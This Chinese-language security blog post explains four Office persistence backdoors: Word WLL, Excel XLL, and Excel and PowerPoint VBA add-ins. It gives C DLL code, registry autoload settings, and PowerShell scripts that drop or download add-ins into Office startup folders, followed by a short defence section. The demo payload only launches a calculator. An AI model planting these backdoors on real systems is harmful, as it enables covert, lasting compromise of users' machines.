Office后门的实现思路

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: 本文讲的是Office后门的实现思路,对于Windows平台,Microsoft Office的普及率很高。站在攻击者的角度,通常会选择在Office软件中植入后门。
本文讲的是 Office后门的实现思路

0x00 前言

对于Windows平台,Microsoft Office的普及率很高。站在攻击者的角度,通常会选择在Office软件中植入后门。

我在一篇博客上看到了Office后门的多种利用方法,我对其进行了研究测试,挑选其中较为通用、隐蔽的方式,编写POC脚本实现自动利用。

0x01 简介

本文将要介绍以下内容:

· 针对Word、Excel、PowerPoint的四种后门利用方法

· 编写Powershell脚本实现自动利用

· 比较优缺点,分析防御方法

0x02 Word WLL

1、手动测试

开发工具:VC6.0

新建dll工程,代码如下:

BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:            MessageBox(NULL,"hello world,I'm 3kb","title",MB_OK);        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;    }return TRUE;}

编译成msg.dll,作如下设置减小编译文件体积:

· Build:release

· 添加代码:#pragma comment(linker, “/OPT:nowin98 “)

· 工程设置->Win32 Release->C/C++->Code Generation->Use run-time library:->Multithreaded DLL

经过优化,dll大小为3kb

重命名为msg.wll,保存路径如下:

C:UsersaAppDataRoamingMicrosoftWordStartup

启动Word.exe,弹框,界面卡住,Word无法正常执行;关闭弹出的对话框后,Word正常启动

如下图

Office后门的实现思路

注:

通过Metasploit的msfvenom生成的dll,会导致Word程序崩溃

修改c代码,实现启动计算器,代码如下:

BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:            WinExec("calc.exe",SW_SHOWNORMAL);        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;    }return TRUE;}

编译成calc.dll,优化后大小为3kb

重命名为calc.wll,保存在路径C:UsersaAppDataRoamingMicrosoftWordStartup

启动Word.exe,弹出计算器,并且word正常启动

如下图

Office后门的实现思路

注:

Startup路径可保存多个wll,支持启动多个wll

2、编写Powershell脚本实现

wll路径对应的powershell代码如下:

$env:APPDATA+"MicrosoftWordStartupcalc.wll"

将编译好的3kb大小的calc.dll作base64加密并存储于变量中:

$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt")

用变量$fileContent存储base64加密的calc.dll

base64解密并释放calc.wll至Startup路径的代码见github

代码运行后,在C:UsersaAppDataRoamingMicrosoftWordStartup生成calc.wll,启动word.exe时,弹出计算器

0x03 Excel XLL

1、手动测试

新建dll工程,添加导出函数xlAutoOpen,具体代码如下:

void xlAutoOpen(){    WinExec("calc.exe",SW_SHOWNORMAL);}BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;    }    return TRUE;}

添加文件,设置类型:Text File

名称:工程同名文件.def

写入:

EXPORTSxlAutoOpen

编译成calc2.dll,导出函数为xlAutoOpen(),优化后大小为3kb

重命名为calc.xll,保存路径如下:

%appdata%MicrosoftAddIns

查找注册表键值:

Office2010对应的键值为:

HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0ExcelOptions

Office2013对应的键值为:

HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0ExcelOptions

新建字符串值: OPEN: /R calc.xll

启动Excel.exe,弹出计算器,并且Excel正常启动

2、编写Powershell脚本实现

同上,calc2.dll作base64加密并存储于变量中:

$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcxllbase64.txt")

用变量$fileContent存储base64加密的calc.xll

通过powershell判断office版本:

dir -name "C:Program FilesMicrosoft OfficeOffice*"

回显: Office14

对字符串截取,截取出版本号14,代码如下:

$OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*"$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )

加入异常捕获,如果系统未安装Office,返回提示信息:

Try  {      $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop      $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) }  Catch  {      Write-Host "[!] I can't find Microsoft Office!"     Write-Host "[+] Please reinput a correct path."  }  Write-Host "Microsoft Office Version:" $Ver

拼接不同Office版本对应的注册表路径:

$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0Excel"

新建键:Options

New-Item -type Directory $ExcelRegPath"Options" | Out-Null

新建字符串值: OPEN: /R calc.xll :

New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null

完整代码见github

0x04 Excel VBA add-ins

1、手动测试

启动Excel,开启开发工具选项,选择Visual Basic

插入模块,写入以下代码:

Sub Auto_Open()    Set objShell = CreateObject("Wscript.Shell")    objShell.Exec ("calc.exe")End Sub

保存为calc.xlam,路径为:

%appdata%MicrosoftExcelXLSTART

启动Excel.exe,弹出计算器,并且Excel正常启动

2、编写Powershell脚本实现

保存路径为:

%appdata%MicrosoftExcelXLSTARTcalc.xlam

对应powershell代码如下:

$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.xlam",$env:APPDATA+"MicrosoftExcelXLSTARTcalc.xlam")

0x05 PowerPoint VBA add-ins

1、手动测试

启动PowerPoint,开启开发工具选项,选择Visual Basic

插入模块,写入以下代码:

Sub Auto_Open()    Set objShell = CreateObject("Wscript.Shell")    objShell.Exec ("calc.exe")End Sub

保存为calc.ppa,路径为:

%appdata%MicrosoftAddIns

查找注册表键值:

Office2010对应的键值为:

HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0PowerPoint

Office2013对应的键值为:

HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0PowerPoint

新建项AddIns,新建子项calc(对应calc.ppa)

新建DWORD值: Autoload: 1

新建字符串值: Path: calc.ppa

启动PowerPoint.exe,弹出计算器,并且PowerPoint正常启动

2、编写Powershell脚本实现

保存路径为:

%appdata%MicrosoftAddInscalc.ppa

对应powershell代码如下:

$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"MicrosoftAddInscalc.ppa")

注册表路径:HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0PowerPoint

Try  {      $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop      $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )     }  Catch  {      Write-Host "[!] I can't find Microsoft Office!"     Write-Host "[+] Please reinput a correct path."     return }  Write-Host "Microsoft Office Version:" $Ver$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0PowerPoint"

新建键AddIns:

New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null

新建键calc:

New-Item -type Directory $ExcelRegPath"AddInscalc" | Out-Null

新建DWORD值: Autoload: 1

New-ItemProperty $ExcelRegPath"AddInscalc" Autoload -value "1" -propertyType DWORD | Out-Null

新建字符串值: Path: calc.ppa

New-ItemProperty $ExcelRegPath"AddInscalc" Path -value "calc.ppa" -propertyType string | Out-Null

完整代码如下:

$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"MicrosoftAddInscalc.ppa")Try  {      $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop      $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )     }  Catch  {      Write-Host "[!] I can't find Microsoft Office!"     Write-Host "[+] Please reinput a correct path."     return }  Write-Host "Microsoft Office Version:" $Ver$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0PowerPoint"New-Item -type Directory $ExcelRegPath"AddIns" | Out-NullNew-Item -type Directory $ExcelRegPath"AddInscalc" | Out-NullNew-ItemProperty $ExcelRegPath"AddInscalc" Autoload -value "1" -propertyType DWORD | Out-NullNew-ItemProperty $ExcelRegPath"AddInscalc" Path -value "calc.ppa" -propertyType string | Out-Null

注:

以上四种方法的利用脚本我已经整合并上传至github,地址为:

https://github.com/3gstudent/Office-Persistence

0x06 检测和防御

1、Word

禁用所有加载项,如下图

Office后门的实现思路

禁用所有控件,如下图

Office后门的实现思路

禁用所有宏,如下图

Office后门的实现思路

Word WLL依然能够执行

防御方法:

删除信任位置:

C:UsersaAppDataRoamingMicrosoftWordStartup

如下图

Office后门的实现思路

注:

添加时不能使用环境变量%appdata%

2、Excel

Excel XLL和Excel VBA add-ins:

防御方法:

禁用所有加载项

3、PowerPoint

PowerPoint VBA add-ins:

防御方法:

禁用所有加载项

0x07 小结

本文介绍了x86系统下Word、Excel、PowerPoint中常用的四种后门利用方式,开源POC脚本以便于测试,最后站在防御角度,介绍了具体的防御方法。x64系统的利用方法作适当修改就好。




原文发布时间为:2017年7月21日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
安全 索引 Windows
干货丨windows内核www漏洞利用手法(修改版)
注:由于上次发出来的不完整,所以删除了重新发完整点的 前言:Gcow安全团队复眼小组致力于对漏洞的挖掘和研究,并且对于二进制和web漏洞方面都有所研究,有独立挖掘漏洞和独立复现漏洞的能力,本篇文章由Gcow安全团队复眼小组晏子霜师傅所写!
|
API 开发工具 数据安全/隐私保护
CS钓鱼文档宏病毒免杀初探
CS钓鱼文档宏病毒免杀初探
|
安全 网络安全 虚拟化
windows10永恒之黑漏洞复现
windows10永恒之黑漏洞复现
2157 0
|
安全 网络协议 数据安全/隐私保护
|
数据安全/隐私保护 网络安全 存储
Waitfor.exe后门的实现思路
本文讲的是Waitfor.exe后门的实现思路,从Casey Smith‏@subTee的Twitter上获得的一个思路,利用Waitfor.exe有可能实现一种后门机制。 于是我对其做了进一步研究,并且使用Powershell写了一个后门利用的POC。
2296 0
|
XML .NET C#
AppDomainManager后门的实现思路
本文讲的是AppDomainManager后门的实现思路,从Casey Smith@subTee学到的一个技巧:针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。
2386 0
|
Windows 监控 SQL
msdtc后门的实现思路
本文讲的是msdtc后门的实现思路,Shadow Force曾经在域环境中使用过的一个后门,利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测。本文将要对其进行测试,介绍更多利用技巧,分析防御方法。
1769 0